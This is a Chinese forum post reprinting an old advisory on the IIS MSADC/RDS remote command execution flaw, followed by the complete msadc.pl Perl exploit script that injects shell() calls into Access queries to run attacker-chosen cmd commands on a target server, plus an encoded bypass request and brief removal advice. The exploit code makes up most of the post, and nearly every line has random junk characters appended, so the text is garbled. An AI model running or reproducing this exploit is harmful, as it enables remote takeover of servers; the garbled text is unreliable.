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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) <bn|ni|c"  
.`*(#9(M9  
涉及程序:  Z a,o  
Microsoft NT server 0(C[][a*u  
(gdzgLHy  
描述: UQI!/6F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 d:Z|It  
)-XD= ]  
详细: 8xj_)=(sV!  
如果你没有时间读详细内容的话,就删除: )4o k@^.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll { zL4dJw  
有关的安全问题就没有了。 F:Vl\YZ  
I(>_as\1  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ]c\`EHN  
f&F9ImZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >y}> 5kv  
关于利用ODBC远程漏洞的描述,请参看: 7u1o>a %9  
hQ)?LPUB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Yjy%MR  
| Eu#mN  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q(WfWifu-|  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8z-wdO\  
]Gj%-5G  
这里不再论述。 b;`MHEzw&q  
'[[IalQ?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: yqJ>Z%)hf  
_4{3^QZq5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +CQIm!Sp  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g5nL7;`N  
Vs>e"czfm/  
EE9eG31|r  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yp hd'Pu"  
q@mZ0D-  
#!perl E)'T;%  
# uw>y*OLU+  
# MSADC/RDS 'usage' (aka exploit) script mmC MsBfL  
# _0&U'/cs  
# by rain.forest.puppy #pD=TMefC  
# .dc|?$XV  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me hZ>1n&[ @  
# beta test and find errors! ju.`c->k"  
x {R j2~KC  
use Socket; use Getopt::Std; ? _[ q{i{  
getopts("e:vd:h:XR", \%args); [8b{Yba z  
s2tNQtq 0W  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 25vq#sS]  
m9'bDyyK  
if (!defined $args{h} && !defined $args{R}) { ^MWp{E  
print qq~ * P12d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } rv~OfL  
-h <host> = host you want to scan (ip or domain) r-hb]!t  
-d <seconds> = delay between calls, default 1 second nS!m1&DeD  
-X = dump Index Server path table, if available >)`*:_{  
-v = verbose 5uM`4xkj  
-e = external dictionary file for step 5 vQ5rhRG)E  
0LWV.OIIC  
Or a -R will resume a command session PywUPsJ  
[ 7{cf`C  
~; exit;} <UW-fI)X  
n2opy8J#!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; tB0f+ wC  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Z1\=d=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} < ?rdhx  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *Xu?(Jd  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q2gz\N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qz-lQ  
pW<l9W  
if (!defined $args{R}){ $ret = &has_msadc; L>`inrpz=w  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} q ) e* eN  
) Cm95,Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" BE!WCDg,  
. "cmd /c "; =1VpO{ q  
$in=<STDIN>; chomp $in; Q-e(>=Gv_  
$command="cmd /c " . $in ; |pT[ZT|}G  
RHI?_gf&  
if (defined $args{R}) {&load; exit;} y<ZT~e  
4g+o/+6!4  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ad<ZdO*h  
&try_btcustmr; Xq$9H@.  
D'Kiy  
print "\nStep 2: Trying to make our own DSN..."; ;k=`J  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1:Raa5  
ZyrVv\'  
print "\nStep 3: Trying known DSNs..."; AHplvksb  
&known_dsn; _10I0Z0  
|Mnc0Fgvy,  
print "\nStep 4: Trying known .mdbs..."; 8$ _8Yva"e  
&known_mdb; _.GHtu/I  
+qa^K%K  
if (defined $args{e}){ !$0ozDmD  
print "\nStep 5: Trying dictionary of DSN names..."; e$-Y>Dd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } "2 qivJ  
|zp}u(N  
print "Sorry Charley...maybe next time?\n"; @(m?j1!M  
exit; ZY)&Fam}  
)%I62<N,z  
############################################################################## 1[(/{CClB  
\2 [  
sub sendraw { # ripped and modded from whisker qD(dAU  
sleep($delay); # it's a DoS on the server! At least on mine... KhNE_. Z  
my ($pstr)=@_; =nUzBL%~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;+~Phdy  
die("Socket problems\n"); 5Noy~;  
if(connect(S,pack "SnA4x8",2,80,$target)){ 'DB'lP  
select(S); $|=1; RAoY`AWI  
print $pstr; my @in=<S>; q:P44`Aq  
select(STDOUT); close(S); rVb61$  
return @in; }ho6  
} else { die("Can't connect...\n"); }} ]L!:/k,=S  
vn.j>;E'  
############################################################################## 6P`!yBAu  
CuYSvW  
sub make_header { # make the HTTP request 9t{Iv({6p  
my $msadc=<<EOT ghaO#kI  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `6Yk-5  
User-Agent: ACTIVEDATA p~<d8n4UH  
Host: $ip O<+x=>_  
Content-Length: $clen Y-P?t+l  
Connection: Keep-Alive xU;Q ~(  
5J*h7  
ADCClientVersion:01.06 A~ wVY  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 pLpWc~#  
a_Z[@W  
--!ADM!ROX!YOUR!WORLD! ~J1UzUxX2  
Content-Type: application/x-varg K;~I ;G  
Content-Length: $reqlen u [LsH  
tzG.)Uqs  
EOT &BRi& &f  
; $msadc=~s/\n/\r\n/g; =R||c  
return $msadc;} 90 pt'Jg  
~ =c[?:  
############################################################################## N'M+Z=!  
'8"$:y  
sub make_req { # make the RDS request hWiBLip,z  
my ($switch, $p1, $p2)=@_; \aGTi pB  
my $req=""; my $t1, $t2, $query, $dsn; x|A{|oFC  
6iJ\7  
if ($switch==1){ # this is the btcustmr.mdb query 'n7Ld6%1  
$query="Select * from Customers where City=" . make_shell(); 7HEUmKb"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Kw&t\},8@  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} { VFr8F0*H  
|BE`ASW;  
elsif ($switch==2){ # this is general make table query .Za)S5U  
$query="create table AZZ (B int, C varchar(10))"; LX;" Mz>  
$dsn="$p1";} =U3rOYbP;  
_iZ9Ch\  
elsif ($switch==3){ # this is general exploit table query %8! }" Xa  
$query="select * from AZZ where C=" . make_shell(); W[oQp2 =  
$dsn="$p1";} 9>[ *y8[:0  
cp3O$S  
elsif ($switch==4){ # attempt to hork file info from index server Aw7_diK^  
$query="select path from scope()"; u*<knZ~ty  
$dsn="Provider=MSIDXS;";} J+f*D+x1  
G>j4b}e  
elsif ($switch==5){ # bad query )\l(h%s[I  
$query="select"; -i"?2gK  
$dsn="$p1";} f _*F&-L  
kPF qsq  
$t1= make_unicode($query); ,I8[tiR"b  
$t2= make_unicode($dsn); bLyaJ%pa\/  
$req = "\x02\x00\x03\x00"; 76 RFu@k  
$req.= "\x08\x00" . pack ("S1", length($t1)); {*t0WE&1t  
$req.= "\x00\x00" . $t1 ; Huho|6ohH  
$req.= "\x08\x00" . pack ("S1", length($t2)); 629 #t`W\  
$req.= "\x00\x00" . $t2 ; K|sx"u|?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; sB%QqFRP  
return $req;} vuNq7V*}  
NekPl/4  
############################################################################## |E9iG  
-gy@sSfvkv  
sub make_shell { # this makes the shell() statement K_CE.8G&{  
return "'|shell(\"$command\")|'";} iCh,7I,m  
6@geakq  
############################################################################## ^z}$ '<D9  
&bT \4  
sub make_unicode { # quick little function to convert to unicode J(=io_\bO  
my ($in)=@_; my $out; <%:,{u6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } h4k.1yH;  
return $out;} rnS&^  
VL| q`n  
############################################################################## - DE?L,9X9  
;n;bap  
sub rdo_success { # checks for RDO return success (this is kludge) hScC< =W  
my (@in) = @_; my $base=content_start(@in); .{ r %C4q9  
if($in[$base]=~/multipart\/mixed/){ @_C?M5v  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p2uZ*sY(D  
return 0;} pn-`QB:{h  
8;1,saA_9  
############################################################################## !t!\b9=  
b[`fQv$G  
sub make_dsn { # this makes a DSN for us 2mfKy9QxO  
my @drives=("c","d","e","f"); fFJu]  
print "\nMaking DSN: "; %<[U\TL`  
foreach $drive (@drives) { b*W01ist  
print "$drive: "; 8$V:+u  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . M Qlx&.>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @;ob 4sU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); }q D0-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; T~- OC0  
return 0 if $2 eq "404"; # not found/doesn't exist TjLW<D(i>  
if($2 eq "200") { Vs@H>97,G  
foreach $line (@results) { J0O wzO  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xty)*$C>  
} return 0;} w4(g]9^Q  
I/ V`@*/+  
############################################################################## ;FO( mL(  
<X ~P62<  
sub verify_exists { \O(~:KN  
my ($page)=@_; .<kbYo:MV  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _ 2E*  
return $results[0];} #/LU@+  
+/4wioGm  
############################################################################## :*dfP/GO  
.p$tb2%r  
sub try_btcustmr { {bD:OF  
my @drives=("c","d","e","f"); p^THoF'~T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U3b&/z|b?  
}?^5L7n  
foreach $dir (@dirs) { +X|^ ~)tMJ  
print "$dir -> "; # fun status so you can see progress  "DsL$D2e  
foreach $drive (@drives) { 8q_"aa,`  
print "$drive: "; # ditto /7jb&f   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; m%)Cw)t 7  
$reqlenlen=length( "$reqlen" ); II) K0<  
$clen= 206 + $reqlenlen + $reqlen; %+0V0.  
nX|]JW  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 9A!B|s  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =dDr:Y<@*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} r0(*]K:.  
]o3K  
############################################################################## EaUO>S  
|cIv&\ x  
sub odbc_error { 8c^Hfjr0  
my (@in)=@_; my $base; ^< wn  
my $base = content_start(@in); c01i !XS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this G7uYkJO  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bTbF  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 32x[6"T  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hG8<@  
return $in[$base+4].$in[$base+5].$in[$base+6];} lNba[;_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; s5 ($b  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $ n"*scyI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} wjc&S'[  
pRH'>}rtuH  
############################################################################## =u 3YRqz  
T3,}CK#O   
sub verbose { L. DD  
my ($in)=@_; 28x:]5=jb  
return if !$verbose; Y=\:fa  
print STDOUT "\n$in\n";} fe8}2#<o  
2pmqP-pKd  
############################################################################## UWo*%&J  
Y4Y~e p  
sub save { Nn='9s9F?}  
my ($p1, $p2, $p3, $p4)=@_; nR`)kORc  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >vKOG@I  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %:e.ES  
close OUT;} nN5fP<H2x  
o9]i {e>L  
############################################################################## E(g$f.9  
FL E3LH  
sub load { o8h` 9_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $(+#$F<eo+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); V[2}  
@p=<IN>; close(IN); +sT S1t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); /X;/}fk  
$target= inet_aton($ip) || die("inet_aton problems"); Ld?'X=eQ  
print "Resuming to $ip ..."; Jp"yb`w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; o1Nfn'!3/>  
if($p[1]==1) { LDh,!5G-M  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Yan}H}Oq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 9Yd"Y-   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `lA_knS  
if (rdo_success(@results)){print "Success!\n";} :JIJ!Xn)  
else { print "failed\n"; verbose(odbc_error(@results));}} > PK 6CR  
elsif ($p[1]==3){ u\Y3h:@u  
if(run_query("$p[3]")){ ]\m >N]P]  
print "Success!\n";} else { print "failed\n"; }} qPoN 8>.  
elsif ($p[1]==4){ bCqTubbx!t  
if(run_query($drvst . "$p[3]")){ |Pi! UZB  
print "Success!\n"; } else { print "failed\n"; }} xO&qo8*  
exit;} " 6ScVa5)  
c<,R,D R  
############################################################################## aUk]wiwIR9  
2#oU2si   
sub create_table { JA~q}C7A7o  
my ($in)=@_; Lu CiO  
$reqlen=length( make_req(2,$in,"") ) - 28; N;gY5;0m  
$reqlenlen=length( "$reqlen" ); $i@I|y/  
$clen= 206 + $reqlenlen + $reqlen; Y.kgJ #2  
my @results=sendraw(make_header() . make_req(2,$in,"")); 0Ua&_D"  
return 1 if rdo_success(@results); PUmgcMt  
my $temp= odbc_error(@results); verbose($temp); FxmHy{JG  
return 1 if $temp=~/Table 'AZZ' already exists/; 89Ir}bCr  
return 0;} 9DdR"r'7  
NG_7jZzXA9  
############################################################################## Cy dV$!&mP  
<$??Z;6  
sub known_dsn { 7n,=`0{r  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go XK&G`cJ[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", -2'1KAk-W  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", q_cP<2`@V  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1my1m  
0f#xyS 3  
foreach $dSn (@dsns) { ?Wc+ J4  
print "."; @FZbp  
next if (!is_access("DSN=$dSn")); ^.9Df A0  
if(create_table("DSN=$dSn")){ ?j&ZzK'#^  
print "$dSn successful\n";  |A\o  
if(run_query("DSN=$dSn")){ Eq|5PE^7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }N&? 8s=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?|~KF:,#}  
_y&XFdp  
############################################################################## \q\"=  
f,x;t-o+R  
sub is_access { z*B?Hw),  
my ($in)=@_; Xdf4%/Op  
$reqlen=length( make_req(5,$in,"") ) - 28; C1>zwU_zo  
$reqlenlen=length( "$reqlen" ); 05:?5M4};  
$clen= 206 + $reqlenlen + $reqlen; _F8THYg (  
my @results=sendraw(make_header() . make_req(5,$in,"")); ST2:&xH(  
my $temp= odbc_error(@results); OG9 '[o`8  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Lt ^*L% x  
return 0;} i+F*vTM2,  
D?=4'"@v  
############################################################################## \SoT^PW  
e+V8I&%  
sub run_query { {Fqwr>e  
my ($in)=@_; 5'(T*"  
$reqlen=length( make_req(3,$in,"") ) - 28; 33 ; '6/  
$reqlenlen=length( "$reqlen" ); IXG@$O?y/  
$clen= 206 + $reqlenlen + $reqlen; N0%q 66]1  
my @results=sendraw(make_header() . make_req(3,$in,"")); ZZL@UO>:  
return 1 if rdo_success(@results); a@J/[$5  
my $temp= odbc_error(@results); verbose($temp); sY4q$Fq  
return 0;} 2Z5_@Y  
)|_L?q#w!'  
############################################################################## a?yU;IKJ  
{1qr6P,"  
sub known_mdb { 1[J|AkN  
my @drives=("c","d","e","f","g"); JfY(};&  
my @dirs=("winnt","winnt35","winnt351","win","windows");  S'\e"w  
my $dir, $drive, $mdb; Npi) R)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =?Ui(?tI  
,,!P-kK$  
# this is sparse, because I don't know of many |]9L#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", zk"8mTg  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9)t[YE:U3!  
"\\system32\\certmdb.mdb", @]]&^ 7  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 9g\;L:'  
TyjZ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *AP"[W  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F{.\i*$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", IJt'[&D  
"\\cfusion\\cfapps\\security\\realm_.mdb", +xvn n  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;6~5FTmV  
"\\cfusion\\database\\cfexamples.mdb", Eh)VT{vp  
"\\cfusion\\database\\cfsnippets.mdb", e`:^7$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \|6VGh \Z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", QM* T?PR  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]-9w'K d  
"\\cfusion\\database\\smpolicy.mdb", |j81?4<)v  
"\\cfusion\\database\cypress.mdb", vQ]d?Tp  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ([ -i5  
"\\website\\cgi-win\\dbsample.mdb", hO&_VCk  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", TEh.?  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #4lIna%VX  
); #these are just {z\K!=X/  
foreach $drive (@drives) { uT'l.*W6i  
foreach $dir (@dirs){ ];lZ:gT  
foreach $mdb (@sysmdbs) { e#,(a  
print "."; C<3<,~gI  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .6T0d 4,1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Q4hY\\Hi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R :(-"GW'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; P%H  Dz  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Fe4>G8uuwn  
ca,W:9#.xn  
foreach $drive (@drives) { d#]hqy  
foreach $mdb (@mdbs) { :vX%0|  
print "."; Fi67"*gE  
if(create_table($drv . $drive . $dir . $mdb)){ J{.UUw9Agd  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'A^q)hpax  
if(run_query($drv . $drive . $dir . $mdb)){ G<Eb~]. 1'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; m./PRV1$x  
} else { print "Something's borked. Use verbose next time\n"; }}}} B~7!v${  
} {?5iK1|}K  
,`k&9o7  
############################################################################## Dsp$Nr%*  
fggs ;Le  
sub hork_idx { D[#V  
print "\nAttempting to dump Index Server tables...\n"; Y)DX   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =u?aP}zc  
$reqlen=length( make_req(4,"","") ) - 28; o.Rv<a5.L  
$reqlenlen=length( "$reqlen" ); 6[4VbIBSI  
$clen= 206 + $reqlenlen + $reqlen; #XA`n@2Uoo  
my @results=sendraw2(make_header() . make_req(4,"","")); g27'il  
if (rdo_success(@results)){ 9aY8`B  
my $max=@results; my $c; my %d; mHHlm<?]  
for($c=19; $c<$max; $c++){ BkGEx z  
$results[$c]=~s/\x00//g; "I)zi]vk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; : S3+UT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; _1&Ar4:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9i}$245lB  
$d{"$1$2"}="";} y:}qoT_.  
foreach $c (keys %d){ print "$c\n"; } TKv!wKI  
} else {print "Index server doesn't seem to be installed.\n"; }} a!E22k?((z  
*$W&jfW  
############################################################################## |:&6eDlR  
n\l?+)S *  
sub dsn_dict { &v0-$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); m;]wKd"  
while(<IN>){ Cp mT *  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %ACW"2#(  
next if (!is_access("DSN=$dSn")); m|B=&#  
if(create_table("DSN=$dSn")){ 0Zi+x#&d  
print "$dSn successful\n"; &.\7='$F  
if(run_query("DSN=$dSn")){ >#x[qX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =uH2+9.  
print "Something's borked. Use verbose next time\n";}}} {V2"Pym?  
print "\n"; close(IN);} *H/3xPh,*  
6<<"9mxK  
############################################################################## (pd$?vRy  
&<]f-  
sub sendraw2 { # ripped and modded from whisker B(++*#T!^m  
sleep($delay); # it's a DoS on the server! At least on mine... P .m@|w&.K  
my ($pstr)=@_; .Mb[j1L^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LWT\1#  
die("Socket problems\n"); L|T?,^  
if(connect(S,pack "SnA4x8",2,80,$target)){ Rbf6/C  
print "Connected. Getting data"; , :#bo]3  
open(OUT,">raw.out"); my @in; YE{ [f@i0  
select(S); $|=1; print $pstr; .{h"0<x  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} BZ?Ck[E]Z  
close(OUT); select(STDOUT); close(S); return @in; oNyYx6q:Q  
} else { die("Can't connect...\n"); }} W&*&O,c  
z{ :;Rb  
############################################################################## 'R79,)|;[  
:xPo*#[Z(A  
sub content_start { # this will take in the server headers "mW'tm1+  
my (@in)=@_; my $c; oNAnJ+_  
for ($c=1;$c<500;$c++) { igfQ,LWe!  
if($in[$c] =~/^\x0d\x0a/){ |(z{)yWbC[  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } b4e~Z  
else { return $c+1; }}} oCa Ymi=:  
return -1;} # it should never get here actually &sWr)>vs  
p8~lGuH  
############################################################################## !%,7*F(  
jU j\<aW  
sub funky { P3&s<mh  
my (@in)=@_; my $error=odbc_error(@in); ORs :S$Nt$  
if($error=~/ADO could not find the specified provider/){ A _zCSRF,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; BB/wL_=:  
exit;} i D IY|  
if($error=~/A Handler is required/){ I?3b}#&V9  
print "\nServer has custom handler filters (they most likely are patched)\n"; F,wB6Cw  
exit;} 'F/oR/4,  
if($error=~/specified Handler has denied Access/){ _xaum  
print "\nServer has custom handler filters (they most likely are patched)\n"; n[iwi   
exit;}} ^?`fN'!p  
Swhz\/u9  
############################################################################## 9j>2C  
vn^O m-\  
sub has_msadc { G<$:[ +w  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); })/P[^  
my $base=content_start(@results); SH{@yS[c!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y,)(Q  
return 0;} Xfq`k/ W  
yS W$zA,  
######################## ZL6HD n!  
$*#^C;7O  
)4 4Y`v  
解决方案: *OG<+#*\_?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll NZB*;U~t  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 S; % &X  
gZ,h9 5'  
拿出来充数 哈哈
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